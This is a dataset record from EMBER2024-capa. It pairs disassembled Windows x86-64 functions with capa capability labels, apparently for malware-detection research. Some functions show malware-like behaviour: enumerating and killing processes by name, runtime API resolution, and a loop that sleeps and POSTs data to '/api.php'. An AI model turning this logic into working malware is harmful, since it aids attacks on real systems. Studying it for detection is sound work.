joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180140840
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push r14
sub rsp, 0x250
mov rax, qword [0x180199040]
xor rax, rsp
mov qword [rsp + 0x240], rax
mov eax, dword [rcx + 0x58]
lea rbx, [rsp + 0x30]
mov dword [rsp + 0x40], eax
mov ebp, r9d
mov eax, dword [rcx + 0x5c]
mov rsi, rcx
mov dword [rsp + 0x44], eax
mov eax, dword [rsp + 0x290]
mov dword [rsp + 0x34], eax
mov dword [rsp + 0x38], edx
mov dword [rsp + 0x3c], r8d
mov dword [rsp + 0x30], r9d
mov qword [rsp + 0x278], rdi
nop dword [rax]
mov r10d, dword [rbx + 0x14]
mov eax, r10d
mov r14d, dword [rbx + 4]
cmp r10d, r14d
mov r9d, dword [rbx + 0xc]
cmovg eax, r14d
cmp r9d, eax
jl 0x1801409dc
cmp r10d, r14d
mov eax, r14d
cmovg eax, r10d
cmp r9d, eax
jg 0x1801409dc
cmp r10d, r14d
jne 0x1801408e0
sub rbx, 0x10
jmp 0x180140a24
mov edx, dword [rsi + 0x88]
xor r9d, r9d
cmp r10d, r14d
setge r9b
inc r9d
cmp edx, r9d
je 0x180140952
mov eax, dword [rsi + 4]
mov ecx, eax
mov r8d, dword [rsi + 8]
neg ecx
cmp r10d, r14d
jge 0x180140914
dec eax
add eax, r10d
and eax, ecx
sub eax, r10d
jmp 0x18014091c
and ecx, r10d
mov eax, r10d
sub eax, ecx
cmp eax, r8d
setge r11b
test edx, edx
je 0x18014093b
movzx edx, r11b
mov rcx, rsi
call fcn.1801419f0
test al, al
jne 0x180140a35
movzx r8d, r11b
mov edx, r9d
mov rcx, rsi
call fcn.180142060
test al, al
jne 0x180140a35
mov edx, dword [rsi + 0x64]
lea r9, [0x1801423c0]
mov ecx, dword [rsi + 0x60]
mov r8, rbx
cmp r10d, r14d
jge 0x18014097e
mov dword [rsp + 0x28], edx
mov edx, 2
mov dword [rsp + 0x20], ecx
mov rcx, rsi
call fcn.1801406c0
jmp 0x1801409d2
mov eax, dword [rbx + 4]
neg ecx
movzx edi, byte [rsi + 0x6a]
neg eax
mov dword [rbx + 4], eax
neg edx
mov eax, dword [rbx + 0xc]
neg eax
mov dword [rsp + 0x28], ecx
mov dword [rbx + 0xc], eax
mov rcx, rsi
mov eax, dword [rbx + 0x14]
neg eax
mov dword [rsp + 0x20], edx
mov edx, 2
mov dword [rbx + 0x14], eax
call fcn.1801406c0
test dil, dil
je 0x1801409ca
cmp byte [rsi + 0x6a], 0
jne 0x1801409ca
mov rdx, qword [rsi + 0x70]
mov ecx, dword [rdx + 0x20]
neg ecx
mov dword [rdx + 0x20], ecx
mov ecx, dword [rbx + 4]
neg ecx
mov dword [rbx + 4], ecx
test al, al
jne 0x180140a35
sub rbx, 0x10
jmp 0x180140a24
mov eax, dword [rbx + 8]
mov ecx, dword [rbx + 0x10]
mov dword [rbx + 0x20], ecx
add ecx, eax
mov dword [rbx + 0x24], r10d
lea edx, [rax + rbp]
mov eax, ecx
sar eax, 1
mov dword [rbx + 0x18], eax
lea eax, [rcx + rdx]
sar eax, 2
lea ecx, [r10 + r9]
mov dword [rbx + 0x10], eax
mov eax, ecx
sar edx, 1
sar eax, 1
mov dword [rbx + 8], edx
lea edx, [r14 + r9]
mov dword [rbx + 0x1c], eax
lea eax, [rcx + rdx]
sar eax, 2
sar edx, 1
mov dword [rbx + 0x14], eax
mov dword [rbx + 0xc], edx
add rbx, 0x10
lea rax, [rsp + 0x30]
cmp rbx, rax
jb 0x180140a39
mov ebp, dword [rbx]
jmp 0x1801408a0
mov al, 1
jmp 0x180140a42
mov dword [rsi + 0x58], ebp
xor al, al
mov dword [rsi + 0x5c], r14d
mov rdi, qword [rsp + 0x278]
mov rcx, qword [rsp + 0x240]
xor rcx, rsp
call fcn.1800e1f10
mov rbx, qword [rsp + 0x280]
add rsp, 0x250
pop r14
pop rsi
pop rbp
ret
Function at 0x180146d90
Capabilities:
Get file size
Read file on windows
Read file via mapping

Disassembly:
push rbx
push rbp
sub rsp, 0x48
mov rbp, rdx
mov rbx, rcx
test rcx, rcx
jne 0x180146dac
lea eax, [rcx + 0x28]
add rsp, 0x48
pop rbp
pop rbx
ret
mov qword [rsp + 0x68], rsi
xor r9d, r9d
mov qword [rsp + 0x40], r14
mov edx, 0x80000000
xor r14d, r14d
mov rcx, rbp
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
lea r8d, [r14 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x180146e00
mov r14, qword [rsp + 0x40]
lea eax, [rsi + 2]
mov rsi, qword [rsp + 0x68]
add rsp, 0x48
pop rbp
pop rbx
ret
lea rdx, [rsp + 0x70]
mov qword [rsp + 0x78], rdi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x180146f25
mov rax, qword [rsp + 0x70]
cmp rax, 0x7fffffff
jg 0x180146f25
test rax, rax
je 0x180146f25
xor r9d, r9d
mov qword [rsp + 0x28], r14
xor edx, edx
mov dword [rsp + 0x20], r14d
mov rcx, rsi
lea r8d, [r9 + 2]
call qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov rdi, rax
test rax, rax
je 0x180146f25
mov ecx, dword [rsp + 0x70]
xor r9d, r9d
mov dword [rbx + 8], ecx
xor r8d, r8d
mov rcx, rax
mov dword [rbx + 0xc], r14d
mov qword [rsp + 0x20], r14
lea edx, [r9 + 4]
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov rcx, rdi
mov qword [rbx], rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp qword [rbx], r14
je 0x180146e9a
lea rax, [0x180146f80]
jmp 0x180146ef3
mov rcx, qword [rbx + 0x30]
xor edx, edx
movsxd r8, dword [rbx + 8]
mov rcx, qword [rcx]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [rbx], rax
test rax, rax
je 0x180146f25
mov edi, r14d
nop dword [rax + rax]
mov r8d, dword [rbx + 8]
lea r9, [rsp + 0x60]
mov edx, edi
sub r8d, edi
add rdx, qword [rbx]
mov rcx, rsi
mov qword [rsp + 0x20], r14
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x180146f13
add edi, dword [rsp + 0x60]
cmp edi, dword [rbx + 8]
jne 0x180146ec0
lea rax, [0x180146f50]
mov rcx, rsi
mov qword [rbx + 0x28], rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [rbx]
mov qword [rbx + 0x10], rax
xor eax, eax
mov qword [rbx + 0x18], rbp
mov qword [rbx + 0x20], r14
jmp 0x180146f3a
mov rcx, qword [rbx + 0x30]
xor edx, edx
mov r8, qword [rbx]
mov rcx, qword [rcx]
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 0x51
mov qword [rbx], r14
mov qword [rbx + 8], r14
mov rdi, qword [rsp + 0x78]
mov rsi, qword [rsp + 0x68]
mov r14, qword [rsp + 0x40]
add rsp, 0x48
pop rbp
pop rbx
ret
Function at 0x180148510
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
mov r9, rdx
test rdx, rdx
jne 0x18014851b
xor eax, eax
ret
lea r11, [0x18016b930]
not ecx
cmp r8d, 8
jb 0x1801485f1
mov r10d, r8d
shr r10, 3
nop word [rax + rax]
movzx edx, byte [r9]
mov eax, ecx
xor rdx, rax
shr ecx, 8
movzx eax, dl
add r8d, 0xfffffff8
movzx edx, byte [r9 + 1]
xor ecx, dword [r11 + rax*4]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
movzx edx, byte [r9 + 2]
xor ecx, dword [r11 + rax*4]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
movzx edx, byte [r9 + 3]
xor ecx, dword [r11 + rax*4]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
movzx edx, byte [r9 + 4]
xor ecx, dword [r11 + rax*4]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
movzx edx, byte [r9 + 5]
xor ecx, dword [r11 + rax*4]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
movzx edx, byte [r9 + 6]
xor ecx, dword [r11 + rax*4]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
movzx edx, byte [r9 + 7]
add r9, 8
xor ecx, dword [r11 + rax*4]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
xor ecx, dword [r11 + rax*4]
sub r10, 1
jne 0x180148540
test r8d, r8d
je 0x18014861d
nop word [rax + rax]
movzx edx, byte [r9]
lea r9, [r9 + 1]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
xor ecx, dword [r11 + rax*4]
add r8d, 0xffffffff
jne 0x180148600
not ecx
mov eax, ecx
ret
Function at 0x140015594
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x50
mov rax, qword [0x140034ce0]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov ebp, r8d
mov r14, rdx
mov r13, rcx
call fcn.14000f71c
xor ebx, ebx
cmp qword [0x140036288], rbx
mov rdi, rax
jne 0x1400156a7
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
test rax, rax
je 0x14001577e
lea rdx, str.MessageBoxW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14001577e
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x140036288], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x140036290], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetUserObjectInformationW
mov rcx, rsi
mov qword [0x140036298], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov r11, rax
mov qword [0x1400362a8], rax
test rax, rax
je 0x14001569e
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov qword [0x1400362a0], rax
jmp 0x1400156ae
mov rax, qword [0x1400362a0]
jmp 0x1400156b5
mov rax, qword [0x1400362a0]
mov r11, qword [0x1400362a8]
cmp rax, rdi
je 0x14001571c
cmp r11, rdi
je 0x14001571c
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rcx, qword [0x1400362a8]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov r12, rax
test rsi, rsi
je 0x14001571c
test rax, rax
je 0x14001571c
call rsi
test rax, rax
je 0x140015716
lea rcx, [rsp + 0x30]
mov r9d, 0xc
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x140015716
test byte [rsp + 0x40], 1
jne 0x14001571c
bts ebp, 0x15
jmp 0x14001575c
mov rcx, qword [0x140036290]
cmp rcx, rdi
je 0x14001575c
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x14001575c
call rax
mov rbx, rax
test rax, rax
je 0x14001575c
mov rcx, qword [0x140036298]
cmp rcx, rdi
je 0x14001575c
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x14001575c
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x140036288]
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x14001577e
mov r9d, ebp
mov r8, r14
mov rdx, r13
mov rcx, rbx
call rax
jmp 0x140015780
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140012300
add rsp, 0x50
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x140015bab
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x140034ce0]
jne 0x14001231a
rol rcx, 0x10
test cx, 0xffff
jne 0x140012316
repz ret
ror rcx, 0x10
jmp 0x140015b04
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x1400363c0]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x1400364b8]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x140015b89
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x1400363c0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x140015bab
mov rax, qword [rsp + 0x88]
mov qword [0x1400364b8], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x140036458], rax
mov rax, qword [0x1400364b8]
mov qword [0x140036330], rax
mov rax, qword [rsp + 0x90]
mov qword [0x140036440], rax
mov dword [0x140036320], 0xc0000409
mov dword [0x140036324], 1
mov rax, qword [0x140034ce0]
mov qword [rsp + 0x68], rax
mov rax, qword [0x140034ce8]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x1400363b8], eax
mov ecx, 1
call fcn.140015a34
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x1400286e8]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x1400363b8], 0
jne 0x140015c32
mov ecx, 1
call fcn.140015a34
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret

Function at 0x1400166a8
Capabilities:
Enumerate processes
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x260
xor edx, edx
mov rsi, rcx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140016766
lea rdx, [rsp + 0x20]
mov rcx, rax
mov dword [rsp + 0x20], 0x238
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
jne 0x1400166fa
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140016766
lea rax, [rsp + 0x4c]
mov rdx, rsi
sub rdx, rax
movzx ecx, word [rax]
movzx r8d, word [rax + rdx]
sub ecx, r8d
jne 0x14001671b
add rax, 2
test r8d, r8d
jne 0x140016705
test ecx, ecx
jne 0x14001674b
mov r8d, dword [rsp + 0x28]
xor edx, edx
lea ecx, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
je 0x14001674b
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rdi
call qword [0x140036958]
lea rdx, [rsp + 0x20]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x1400166fa
mov rcx, rbx
call qword [0x140036958]
lea r11, [rsp + 0x260]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
Function at 0x140016938
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x260
xor edx, edx
mov rsi, rcx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x140016965
xor al, al
jmp 0x1400169be
lea rdx, [rsp + 0x20]
mov rcx, rax
mov dword [rsp + 0x20], 0x238
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
xor edi, edi
test eax, eax
je 0x1400169b2
lea rcx, [rsp + 0x4c]
mov rdx, rsi
call fcn.14000bee8
test eax, eax
je 0x1400169af
lea rdx, [rsp + 0x20]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140016981
mov rcx, rbx
call qword [0x140036958]
jmp 0x140016961
mov dil, 1
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, dil
lea r11, [rsp + 0x260]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret

Function at 0x140017708
Capabilities:
Create thread
Terminate process

Disassembly:
sub rsp, 0x38
call fcn.14001864c
call qword [0x140036b30]
cmp eax, 1
jne 0x14001772f
call fcn.140016788
call fcn.140017118
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.140017558
test al, al
jne 0x1400177e3
call fcn.140017428
test al, al
jne 0x1400177e3
call fcn.1400171b8
test al, al
je 0x14001775b
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.14001d21c
call fcn.140016d78
call qword [0x140036b30]
cmp eax, 1
jne 0x14001777e
call fcn.140016788
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.140018e24
lea r11, [0x1400288c0]
mov qword [0x140036b38], r11
call fcn.140017328
and qword [rsp + 0x28], 0
and dword [rsp + 0x20], 0
lea r9, [0x140028713]
lea r8, [0x14001b988]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
call fcn.140017298
test al, al
jne 0x1400177cc
call fcn.14001fd44
call fcn.140017208
call fcn.140017328
call fcn.14001b2c0
mov ecx, 0xea60
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1400177cc
call fcn.140016788
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x1400180e4
Capabilities:
Enumerate pe sections

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
mov rbp, rsp
sub rsp, 0x40
mov rdx, qword [rcx]
mov r10d, dword [rcx + 0x68]
mov r12d, 1
movzx eax, word [rdx + 0x14]
mov rsi, qword [rdx + 0x30]
sub r10, r12
lea r8, [rax + rdx + 0x18]
movabs rax, 0xffffffff00000000
not r10
mov r11d, dword [r8 + 8]
and rsi, rax
mov eax, dword [r8 + 0x10]
or r11, rsi
xor ebx, ebx
mov r13, rcx
and r10, r11
mov qword [rbp + 0x30], rsi
mov qword [rbp - 0x20], r11
mov qword [rbp - 0x18], r10
test eax, eax
jne 0x140018169
test byte [r8 + 0x24], 0x40
je 0x14001815f
mov eax, dword [rdx + 0x20]
jmp 0x140018169
test byte [r8 + 0x24], 0x80
je 0x140018169
mov eax, dword [rdx + 0x24]
mov ecx, dword [r8 + 0x24]
mov r9d, eax
mov dword [rbp - 4], ebx
mov qword [rbp - 0x10], r9
mov r14d, r12d
mov dword [rbp - 8], ecx
cmp r12w, word [rdx + 6]
jae 0x140018242
lea rdi, [r8 + 0x4c]
mov r15d, dword [rdi - 0x1c]
mov eax, dword [rdi - 0x14]
or r15, rsi
mov esi, dword [r13 + 0x68]
sub rsi, r12
not rsi
and rsi, r15
test eax, eax
jne 0x1400181b9
test byte [rdi], 0x40
je 0x1400181b1
mov eax, dword [rdx + 0x20]
jmp 0x1400181b9
test byte [rdi], 0x80
je 0x1400181b9
mov eax, dword [rdx + 0x24]
mov r12d, eax
cmp r10, rsi
je 0x1400181f3
lea rax, [r9 + r11]
cmp rax, rsi
ja 0x1400181f3
lea rdx, [rbp - 0x20]
mov rcx, r13
call fcn.140017eb4
test eax, eax
je 0x14001823e
mov ecx, dword [rdi]
mov r11, r15
mov qword [rbp - 0x20], r15
mov r10, rsi
mov qword [rbp - 0x18], rsi
mov r9d, r12d
mov qword [rbp - 0x10], r12
jmp 0x140018218
mov eax, dword [rdi]
bt eax, 0x19
jae 0x140018205
bt ecx, 0x19
jae 0x140018205
or ecx, eax
jmp 0x14001820b
or ecx, eax
btr ecx, 0x19
mov r9, r12
sub r9, r11
add r9, r15
mov qword [rbp - 0x10], r9
mov rdx, qword [r13]
mov r12d, 1
add rdi, 0x28
movzx eax, word [rdx + 6]
add r14d, r12d
mov dword [rbp - 8], ecx
cmp r14d, eax
jge 0x140018242
mov rsi, qword [rbp + 0x30]
jmp 0x14001818c
xor eax, eax
jmp 0x140018259
lea rdx, [rbp - 0x20]
mov rcx, r13
mov dword [rbp - 4], r12d
call fcn.140017eb4
test eax, eax
setne bl
mov eax, ebx
lea r11, [rsp + 0x40]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
Function at 0x14001ae20
Capabilities:
Reference http user-agent string

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
sub rsp, 0x30
xor edi, edi
mov r13, rdx
mov rbx, rcx
mov dword [rdx], edi
mov ebp, 0x3e8
xor r9d, r9d
lea rcx, str.Mozilla_5.0
xor r8d, r8d
lea edx, [r9 + 1]
mov dword [rsp + 0x20], edi
call qword [0x140036a38]
mov r12, rax
test rax, rax
jne 0x14001ae6c
mov ecx, ebp
call qword [0x1400369e0]
jmp 0x14001ae3f
cmp qword [rbx + 0x18], 8
jb 0x14001ae78
mov rdx, qword [rbx]
jmp 0x14001ae7b
mov rdx, rbx
xor r9d, r9d
xor r8d, r8d
mov rcx, rax
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], 0x80000000
call qword [0x140036a60]
mov rsi, rax
test rax, rax
je 0x14001ae62
lea r9, [rsp + 0x70]
lea r8, [rsp + 0x60]
mov edx, 0x20000005
mov rcx, rax
mov dword [rsp + 0x60], edi
mov dword [rsp + 0x70], 4
mov qword [rsp + 0x20], rdi
call qword [0x140036a70]
mov ebx, dword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, ebx
mov edx, 8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbp, rax
test rax, rax
je 0x14001af27
mov r8d, dword [rsp + 0x60]
mov ebx, edi
mov rdx, rax
jmp 0x14001af0e
cmp dword [rsp + 0x68], edi
jbe 0x14001af20
add ebx, dword [rsp + 0x68]
mov r8d, dword [rsp + 0x60]
mov edx, ebx
sub r8d, ebx
add rdx, rbp
lea r9, [rsp + 0x68]
mov rcx, rsi
call qword [0x140036a68]
test eax, eax
jne 0x14001aef7
mov dword [r13], ebx
mov rdi, rbp
mov rcx, rsi
call qword [0x140036a58]
mov rcx, r12
call qword [0x140036a58]
mov rbx, qword [rsp + 0x78]
mov rax, rdi
add rsp, 0x30
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x14001af60
Capabilities:
Reference http user-agent string

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r12
push r13
push r14
mov eax, 0x1040
call fcn.140014e70
sub rsp, rax
xor edi, edi
mov r13, rcx
lea ebx, [rdi + 1]
jmp 0x14001afe3
cmp qword [0x140036c78], 8
mov qword [rsp + 0x38], rdi
mov dword [rsp + 0x30], edi
lea rdx, [0x140036c60]
mov r8d, 0x50
mov rcx, rsi
cmovae rdx, qword [0x140036c60]
xor r9d, r9d
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x20], rdi
call qword [0x140036a40]
mov rbp, rax
test rax, rax
jne 0x14001b027
xor ecx, ecx
call qword [0x140036a58]
mov ecx, 0x1388
call qword [0x1400369e0]
lea rcx, [0x14002a0f0]
xor r9d, r9d
xor r8d, r8d
mov edx, ebx
mov dword [rsp + 0x20], edi
call qword [0x140036a38]
mov rsi, rax
test rax, rax
jne 0x14001af89
lea rax, [0x140028716]
lea r11, [rsp + 0x1040]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x40]
mov rsp, r11
pop r14
pop r13
pop r12
pop rdi
pop rsi
ret
mov qword [rsp + 0x38], rdi
mov dword [rsp + 0x30], 0x84400000
lea r8, str._api.php
lea rdx, str.POST
xor r9d, r9d
mov rcx, rax
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
call qword [0x140036a48]
mov r12, rax
test rax, rax
jne 0x14001b07b
mov rcx, rbp
call qword [0x140036a58]
mov rcx, rsi
call qword [0x140036a58]
lea rax, [0x14002871e]
jmp 0x14001b00b
mov rcx, r13
call qword [0x140036928]
lea rcx, str.Content_Type:_application_x_www_form_urlencoded_r_nConnection:_close_r_n
mov rbx, rax
call qword [0x140036928]
lea rdx, str.Content_Type:_application_x_www_form_urlencoded_r_nConnection:_close_r_n
mov r9, r13
mov rcx, r12
mov r8, rax
mov dword [rsp + 0x20], ebx
call qword [0x140036a50]
test eax, eax
jne 0x14001b0d9
mov rcx, r12
call qword [0x140036a58]
mov rcx, rbp
call qword [0x140036a58]
mov rcx, rsi
call qword [0x140036a58]
lea rax, [0x14002871f]
jmp 0x14001b00b
mov dword [rsp + 0x1078], edi
mov r13d, edi
mov rbx, rdi
lea r9, [rsp + 0x1078]
lea rdx, [rsp + 0x40]
mov r8d, 0x1000
mov rcx, r12
call qword [0x140036a68]
test eax, eax
je 0x14001b18c
mov eax, dword [rsp + 0x1078]
test eax, eax
je 0x14001b15b
lea edx, [r13 + rax + 1]
mov rcx, rbx
call fcn.14000b704
mov r14, rax
test rax, rax
je 0x14001b181
mov r8d, dword [rsp + 0x1078]
mov ecx, r13d
lea rdx, [rsp + 0x40]
add rcx, rax
mov rbx, rax
call fcn.14000b0e0
add r13d, dword [rsp + 0x1078]
mov byte [r13 + rbx], dil
cmp dword [rsp + 0x1078], edi
ja 0x14001b0e6
mov rdi, rbx
mov rcx, r12
call qword [0x140036a58]
mov rcx, rbp
call qword [0x140036a58]
mov rcx, rsi
call qword [0x140036a58]
mov rax, rdi
jmp 0x14001b00b
mov rcx, rbx
call qword [0x140036938]
jmp 0x14001b15e
mov rcx, r12
call qword [0x140036a58]
mov rcx, rbp
call qword [0x140036a58]
mov rcx, rsi
call qword [0x140036a58]
xor eax, eax
jmp 0x14001b00b
Function at 0x14001ca28
Capabilities:
Get file size

Disassembly:
mov rax, rsp
push rbp
push r12
push r13
mov rbp, rsp
sub rsp, 0x70
mov qword [rbp - 0x30], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rdi
mov rax, rdx
mov rdi, rcx
and dword [rbp + 0x28], 0
cmp qword [rdx + 0x18], 8
jb 0x14001ca5b
mov rax, qword [rdx]
and qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov edx, 0x80000000
lea r8d, [r9 + 1]
mov rcx, rax
call qword [0x140036960]
mov r13, rax
cmp rax, 0xffffffffffffffff
jne 0x14001cab6
lea rdx, [0x14002872e]
and qword [rdi + 0x10], 0
mov qword [rdi + 0x18], 0xf
xor r8d, r8d
mov byte [rdi], r8b
mov rcx, rdi
call fcn.1400015dc
jmp 0x14001cb85
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov r12d, eax
cmp eax, 0xffffffff
jne 0x14001cadb
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [0x14002872f]
jmp 0x14001ca96
mov qword [rbp - 0x10], 0xf
and qword [rbp - 0x18], 0
mov byte [rbp - 0x28], 0
mov rdx, r12
lea rcx, [rbp - 0x28]
test eax, eax
jne 0x14001cb02
or r8, 0xffffffffffffffff
call fcn.1400019a4
jmp 0x14001cb0a
xor r8d, r8d
call fcn.1400018ac
lea rdx, [rbp - 0x28]
cmp qword [rbp - 0x10], 0x10
cmovae rdx, qword [rbp - 0x28]
and qword [rsp + 0x20], 0
lea r9, [rbp + 0x28]
mov r8d, r12d
mov rcx, r13
call qword [0x1400369d8]
mov ebx, eax
mov rcx, r13
call qword [0x140036958]
test ebx, ebx
je 0x14001cb52
cmp dword [rbp + 0x28], r12d
jne 0x14001cb52
lea rdx, [rbp - 0x28]
mov rcx, rdi
call fcn.140001094
nop
jmp 0x14001cb75
mov qword [rdi + 0x18], 0xf
and qword [rdi + 0x10], 0
mov byte [rdi], 0
xor r8d, r8d
lea rdx, [0x140028736]
mov rcx, rdi
call fcn.1400015dc
nop
cmp qword [rbp - 0x10], 0x10
jb 0x14001cb85
mov rcx, qword [rbp - 0x28]
call fcn.14000b430
mov rax, rdi
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r13
pop r12
pop rbp
ret